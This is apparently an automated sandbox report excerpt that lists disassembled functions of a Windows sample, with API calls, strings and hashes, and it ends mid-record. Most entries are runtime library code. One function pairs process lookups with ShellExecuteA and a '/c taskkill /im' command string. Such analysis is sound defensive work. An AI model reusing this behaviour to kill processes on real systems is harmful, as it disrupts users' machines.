Opcode ID: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction ID: 74434231ff676d8f1fc8fa41ef5f78d3de69fe0be97559c158d781572d92f567
Opcode Fuzzy Hash: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction Fuzzy Hash: 1D8124B2D012499BDF209F65C981EEF7BB69F09354F19045BE904A7240D73D9CE0CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004121BC Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00412240
__alloca_probe_16.LIBCMT ref: 00412306
__freea.LIBCMT ref: 00412372

Part of subcall function 004123EF: HeapAlloc.KERNEL32(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

__freea.LIBCMT ref: 0041237B
__freea.LIBCMT ref: 0041239E

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction ID: 3f5f74f68e7d41f2cca7f6fce400f43b55e93c6934ce23f10ca0372b46243168
Opcode Fuzzy Hash: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction Fuzzy Hash: AF51F37260020AABEF209F61CD81EFF36A9EB40754F15012AFD24E7250D6BCDDA19668

Uniqueness

Uniqueness Score: -1.00%

Function 0367F7BC Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03682656: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 03682688

_free.LIBCMT ref: 0367F8CB
_free.LIBCMT ref: 0367F8E2
_free.LIBCMT ref: 0367F8FF
_free.LIBCMT ref: 0367F91A
_free.LIBCMT ref: 0367F931

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction ID: 422d590688dbf994bf86a348edfbe2765792ae8c5bd8c7143055384249ce4830
Opcode Fuzzy Hash: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction Fuzzy Hash: B551C076A00704AFDB21DF29C941E6AB7F8EF49720F58466DE809DF250E731E9128B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040F555 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004123EF: HeapAlloc.KERNEL32(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

_free.LIBCMT ref: 0040F664
_free.LIBCMT ref: 0040F67B
_free.LIBCMT ref: 0040F698
_free.LIBCMT ref: 0040F6B3
_free.LIBCMT ref: 0040F6CA

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$AllocHeap
String ID:
API String ID: 1835388192-0
Opcode ID: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction ID: e26f405226ca6c244662f86c70b7d9651fadd642deef2eefb689cee946dee19f
Opcode Fuzzy Hash: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction Fuzzy Hash: 5551E472A00604AFDB21DF29CC81BAB77F5EF44714F10097EE809E76A1E739D9468B48

Uniqueness

Uniqueness Score: -1.00%

Function 03672E87 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 03672F0A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 03672F56
__Getctype.LIBCPMT ref: 03672F6F
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 03672F8B
std::_Lockit::~_Lockit.LIBCPMT ref: 03673020

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 1840309910-0
Opcode ID: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction ID: 761074072af6bfe05628aa52d9c3d191ed4cf6ac7f9786a5e6522cc4408a5cec
Opcode Fuzzy Hash: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction Fuzzy Hash: D051B0B5D043489BEF10DFA4D945B9EFBB8AF14300F584529EC04AB380E775A509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0368763B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 03687653

Part of subcall function 036814C2: HeapFree.KERNEL32(00000000,00000000,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?), ref: 036814D8
Part of subcall function 036814C2: GetLastError.KERNEL32(?,?,036878DC,?,00000000,?,?,?,03687B7F,?,00000007,?,?,03688072,?,?), ref: 036814EA

_free.LIBCMT ref: 03687665
_free.LIBCMT ref: 03687677
_free.LIBCMT ref: 03687689
_free.LIBCMT ref: 0368769B

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: 3610aa812848479558dcfb7058dd56a9d6e19f3ce5b133dae83ec6a222689d39
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: BDF01832704310AB8624FF5CE585C25B3E9AB0D7607B84A19F44CD7601CB74F8F1466C

Uniqueness

Uniqueness Score: -1.00%

Function 004173D4 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004173EC

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 004173FE
_free.LIBCMT ref: 00417410
_free.LIBCMT ref: 00417422
_free.LIBCMT ref: 00417434

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: 12d67177f25bb58156aeb40ac9cd7a805bdb10bb8b17bb555de7aa4c1e59f88a
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: E1F0AF32608210AB8260EB59E4C6CDA77FABF44764794480AF44DE3211CB38FCD28A6C

Uniqueness

Uniqueness Score: -1.00%

Function 03673587 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(0042A018), ref: 036735B3

Part of subcall function 036734E7: OpenProcess.KERNEL32(00000410,00000000), ref: 03673512
Part of subcall function 036734E7: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0367352D
Part of subcall function 036734E7: CloseHandle.KERNEL32(00000000), ref: 03673534

GetCurrentProcessId.KERNEL32 ref: 036735CF

Part of subcall function 036733E7: OpenProcess.KERNEL32(00000410,00000000), ref: 03673447
Part of subcall function 036733E7: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 03673464
Part of subcall function 036733E7: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 03673481
Part of subcall function 036733E7: CloseHandle.KERNEL32(00000000), ref: 03673488

ShellExecuteA.SHELL32(00000000,00000000,004278B0,00000000,00000000,00000000), ref: 03673670

Strings

/c taskkill /im ", xrefs: 036735E3

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleModuleNameOpen$BaseEnumExecuteFileModulesShell
String ID: /c taskkill /im "
API String ID: 3296006795-2842225094
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: 0b1a92620bb4616ed0e92082fd2cf3b71af2b8f005388d8e6b48f3bd52d995e1
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: 1021AC74E00348ABC710FBB4CC58BEDBBB4BB15711FA0406CD002AB291EF745A09CB59

Uniqueness

Uniqueness Score: -1.00%

Function 036732B7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 03673346

Part of subcall function 036794C7: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,03671354,?,0367742C,?,00428EE0,?,?,?,?,03671354,0042BBA0,0042BBA1), ref: 03679527

Strings

ios_base::failbit set, xrefs: 036732F6
ios_base::eofbit set, xrefs: 036732FB
ios_base::badbit set, xrefs: 036732EC

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction ID: 96a9dcced54d8aeba44557bf4ae1551e8bad15f647bb787fdd41a8e17cd6ad8d
Opcode Fuzzy Hash: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction Fuzzy Hash: 941106B5A043056BC710EF68D801A96B7E8AF41310FA4C61FE9688B740EB74E844CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 00403050 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004030DF

Part of subcall function 00409260: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,004010ED,?,004071C5,?,00428EE0,?,?,?,?,004010ED,0042BBA0,0042BBA1), ref: 004092C0

Strings

ios_base::eofbit set, xrefs: 00403094
ios_base::badbit set, xrefs: 00403085
ios_base::failbit set, xrefs: 0040308F

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction ID: 6b2dcf83fd56f893463438c7860671d35dda5de460178581763f3720d09a2793
Opcode Fuzzy Hash: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction Fuzzy Hash: 6811E1B1A04305ABC700DF69D806B96B7E8AF40311F10C52FF954AB6C1EB78E944CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0367AF32 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0367AFF9
___AdjustPointer.LIBCMT ref: 0367B01C
___AdjustPointer.LIBCMT ref: 0367B0B8

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: a98b6d705f96a1e3479d22f37581a8f1ed4c6ad1893be1c624c86a642c7d815f
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: 7A51F475608706AFEB29DF54D940BBEB7A4FF10300F98452DE9264B390E735E891CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AD92
___AdjustPointer.LIBCMT ref: 0040ADB5
___AdjustPointer.LIBCMT ref: 0040AE51

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: 90dfe2ec435d461ad3aee01eaa0a4d287f80f964ed01bea415ed85caf52aea2f
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: BC51E372601306AFDB298F11D441BAA73A6EF00315F14453FE8066BAD1D739ECA1D7DA

Uniqueness

Uniqueness Score: -1.00%

Function 036857E8 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0367DBBF: _free.LIBCMT ref: 0367DBCD

Part of subcall function 03685528: WideCharToMultiByte.KERNEL32(00427803,00000000,0367D145,00000000,00000000,00000000,00000000,0000FDE9,00427803,00000000,0367D145,?,03682E5F,?,00000000,00000000), ref: 036855D4

GetLastError.KERNEL32 ref: 03685850
__dosmaperr.LIBCMT ref: 03685857
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 03685896
__dosmaperr.LIBCMT ref: 0368589D

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction ID: 3c317d8dda6d88fadd5b4acb172c9b686cff91f71030d3e70dbf2cbeb063012e
Opcode Fuzzy Hash: 88d6111f051a06fdd9aa7796033ffeb93d916343d6300842a6459e322090b897
Instruction Fuzzy Hash: CE21DBB1600319BFDB20FF658D8086B779DEF0E2647448B29EA1797240D730ED418795

Uniqueness

Uniqueness Score: -1.00%

Function 00415581 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040D958: _free.LIBCMT ref: 0040D966

Part of subcall function 004152C1: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00412368,?,00000000,00000000), ref: 0041536D

GetLastError.KERNEL32 ref: 004155E9
__dosmaperr.LIBCMT ref: 004155F0
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041562F
__dosmaperr.LIBCMT ref: 00415636

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction ID: 209a5ce292c56fd8d4f7a0cc65bb0464bde150732a7df2657e7870bdc0ebe7a0
Opcode Fuzzy Hash: e2c9c4d2872a52d685cdf4e0a8c34d200d4c1da6343d4d81b36e7d253fa6cf7b
Instruction Fuzzy Hash: D221DB71504A05FFDB206F62CC818EBB7ADEF84368750852AF92997251D738ED818798

Uniqueness

Uniqueness Score: -1.00%

Function 036816D2 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: 3ecc8b16cec911664acddd441caf4774af4900cc77c21cf675ada9be230c9e52
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: 26210575A40224BBC731EB249D48B5A77589B0EBA0F180728ED06AB391D730D90386E4

Uniqueness

Uniqueness Score: -1.00%

Function 03680FA7 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0367214C,?,03672150,0367C6D8,?,0367214C,?,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 03680FAC
_free.LIBCMT ref: 03681009
_free.LIBCMT ref: 0368103F
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03681257,00000000,?,00000000,00000000,0367214C), ref: 0368104A

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: 0a7175978a7b0af281d347c639d7e21963ecdb7a75e6e0554ccb3d696800e511
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: C8112C753043023BDA21F7F59C85D36215DABCE175F280338FA199A2D0DD618C17412C

Uniqueness

Uniqueness Score: -1.00%

Function 00410D40 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
_free.LIBCMT ref: 00410DA2
_free.LIBCMT ref: 00410DD8
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction ID: a525547fe00f06879ca38520d2c3098073192493dee9b8ee0a149694f969bfa0
Opcode Fuzzy Hash: 7711921faead9846348d7d43881275752e518af8df4d01021872436eff613b10
Instruction Fuzzy Hash: A3110A327401016BC62127FAAC82DFB115AEBC0379B24023BF729922E1DEAC9CD2C11D

Uniqueness

Uniqueness Score: -1.00%

Function 036733E7 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 03673447
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 03673464
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 03673481
CloseHandle.KERNEL32(00000000), ref: 03673488

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: Process$BaseCloseEnumHandleModuleModulesNameOpen
String ID:
API String ID: 4241681289-0
Opcode ID: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction ID: 5576c07ed706179c9e44cce96edb7429120f3db5f1ee6d5fb02b07444f03506c
Opcode Fuzzy Hash: 3151b708891b5542dafb4a7394044939b245e49f02ee1a5a64dc9390ca27af65
Instruction Fuzzy Hash: E221D375E00219ABD725DF54CC14BE9BBB8EF09300F0442E9E64897240DBB09AC5CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 036810FE Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0367C66D,03682699,?,?,03679282,?,?,?,03671354,?,036728EE,?,?), ref: 03681103
_free.LIBCMT ref: 03681160
_free.LIBCMT ref: 03681196
SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03679282,?,?,?,03671354,?,036728EE,?,?,?), ref: 036811A1

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: 3145ac768162fc2c51ca2f29918ce94d09e75d7fc6e13daa5d355ffe3c3990df
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: 9C11E9757003012BDA11F7B59C84D3A295DA7CF575F280338FA199A2D4DE618817812D

Uniqueness

Uniqueness Score: -1.00%

Function 00410E97 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C406,00412432,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?), ref: 00410E9C
_free.LIBCMT ref: 00410EF9
_free.LIBCMT ref: 00410F2F
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00410F3A

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction ID: 66eec3f19665db08b0d4d942c9a192467b4f7dfbcf6f310632f7d59ba6ea33d6
Opcode Fuzzy Hash: 5d85b3db14f18b1b980a709a44521e403c35b10a36c4c9dadebe9684ae6dc349
Instruction Fuzzy Hash: 5611E9327042016BC621677B5CC2DFB215AABC477AB65023BF729922E1DEE98CD2D11D

Uniqueness

Uniqueness Score: -1.00%

Function 0367BFEE Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0367C0AF,?,?,0042B440,00000000,?,0367C1DA,00000004,0041EB28,0041EB20,0041EB28,00000000), ref: 0367C07E

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: 23621b222aea3304b04fb68e45d8d3b9ac0c4c2ea05094a44a2cfd86e362dfb8
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 20110231E40621BBCF32CB699D40B9977A8AF05B60F580260E900FB380E772E90186E9

Uniqueness

Uniqueness Score: -1.00%

Function 0368BFA1 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0368BA7D,?,00000001,?,00000001,?,0368A20E,?,?,00000001), ref: 0368BFB8
GetLastError.KERNEL32(?,0368BA7D,?,00000001,?,00000001,?,0368A20E,?,?,00000001,?,00000001,?,0368A75A,03681E4A), ref: 0368BFC4

Part of subcall function 0368BF8A: CloseHandle.KERNEL32(0042AA20,0368BFD4,?,0368BA7D,?,00000001,?,00000001,?,0368A20E,?,?,00000001,?,00000001), ref: 0368BF9A

___initconout.LIBCMT ref: 0368BFD4

Part of subcall function 0368BF4C: CreateFileW.KERNEL32(00426D28,40000000,00000003,00000000,00000003,00000000,00000000,0368BF7B,0368BA6A,00000001,?,0368A20E,?,?,00000001,?), ref: 0368BF5F

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0368BA7D,?,00000001,?,00000001,?,0368A20E,?,?,00000001,?), ref: 0368BFE9

Memory Dump Source

Source File: 00000000.00000002.1835705897.0000000003670000.00000040.00001000.00020000.00000000.sdmp, Offset: 03670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3670000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: 1efdc920eaa459a0335f78a9251a89d2a40cd9742f7a19623be6eed202c8ed34
Opcode Fuzzy Hash: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction Fuzzy Hash: 29F0AC37500225BBCF226FD5DD0899A3F26FF0D3A1F044564FE1996230CA328960DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD3A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001), ref: 0041BD51
GetLastError.KERNEL32(?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001,?,0041A4F3,00411BE3), ref: 0041BD5D

Part of subcall function 0041BD23: CloseHandle.KERNEL32(FFFFFFFE,0041BD6D,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?,00000001), ref: 0041BD33

___initconout.LIBCMT ref: 0041BD6D

Part of subcall function 0041BCE5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041BD14,0041B803,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BCF8

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0041B816,?,00000001,?,00000001,?,00419FA7,?,?,00000001,?), ref: 0041BD82

Memory Dump Source

Source File: 00000000.00000002.1834027571.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_97NT8DO3JB.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f56514edf5f76c8fdf64f8b6d8be20b0c9230bcc1c5e1c46e8687e818287cf65
Instruction ID: 51194226b4806499ed244387ef646c23990b2b684a19fef19e4e32860e8e34ef
